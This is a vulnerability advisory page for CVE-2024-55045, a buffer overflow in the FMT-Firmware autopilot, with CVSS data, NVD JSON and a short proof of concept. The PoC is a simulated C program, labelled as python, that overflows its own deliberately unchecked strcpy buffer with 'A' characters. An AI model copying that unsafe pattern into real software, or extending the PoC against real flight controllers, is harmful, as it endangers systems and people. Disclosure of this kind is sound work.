Security Vulnerability Report
中文
CVE-2024-55045 CVSS 7.3 HIGH

CVE-2024-55045

Published: 2026-05-13 16:16:35
Last Modified: 2026-05-14 16:16:18

Description

Firmament-Autopilot FMT-Firmware commit de5aec was discovered to contain a buffer overflow via the task_mavobc_entry function at /comm/task_comm.c.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Firmament-Autopilot FMT-Firmware commit de5aec

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <stdio.h> #include <string.h> // Simulated vulnerable function in task_comm.c void task_mavobc_entry(char *input) { char buffer[64]; // Vulnerability: No bounds checking (strcpy) strcpy(buffer, input); printf("Data received: %s\n", buffer); } int main() { // PoC: Construct payload larger than buffer size to trigger overflow // In a real scenario, this would be sent over the network via MAVLink char exploit_payload[128]; memset(exploit_payload, 'A', sizeof(exploit_payload) - 1); exploit_payload[sizeof(exploit_payload) - 1] = '\0'; printf("[+] Sending malicious payload to trigger overflow...\n"); task_mavobc_entry(exploit_payload); printf("[+] Crash/Exploit occurred.\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-55045", "sourceIdentifier": "[email protected]", "published": "2026-05-13T16:16:34.780", "lastModified": "2026-05-14T16:16:18.397", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Firmament-Autopilot FMT-Firmware commit de5aec was discovered to contain a buffer overflow via the task_mavobc_entry function at /comm/task_comm.c."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "references": [{"url": "https://github.com/Firmament-Autopilot/FMT-Firmware/issues/133", "source": "[email protected]"}, {"url": "https://github.com/Firmament-Autopilot/FMT-Firmware/issues/133", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}